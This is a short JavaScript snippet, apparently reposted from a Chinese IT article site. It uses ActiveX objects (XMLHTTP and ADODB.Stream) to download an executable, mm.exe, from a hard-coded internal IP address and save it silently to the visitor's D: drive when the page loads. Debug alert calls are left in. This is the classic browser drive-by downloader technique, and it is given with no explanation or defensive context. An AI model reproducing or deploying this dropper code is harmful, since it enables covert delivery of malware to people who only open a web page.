<script language='javascript'>
var xh;
function getXML(geturl)
{
alert("ll");
xh = new ActiveXObject("Microsoft.XMLHTTP");
xh.onreadystatechange = getReady;
xh.open("GET",geturl,true);
xh.send();
}
function getReady()
{
alert(xh.readyState);
if(xh.readyState==4)
{
if(xh.status==200)
{saveFile("d:\mm.exe");return true;}
else
{return false;}
}
else
return false;
}
function saveFile(tofile)
{
var objStream;
var imgs;
imgs = xh.responseBody;
objStream = new ActiveXObject("ADODB.Stream");
objStream.Type = 1;
objStream.open();
objStream.write(imgs);
objStream.SaveToFile(tofile)
}
getXML("http://192.168.22.206/mm.exe");
</script>
本文地址:http://com.8s8s.com/it/it41548.htm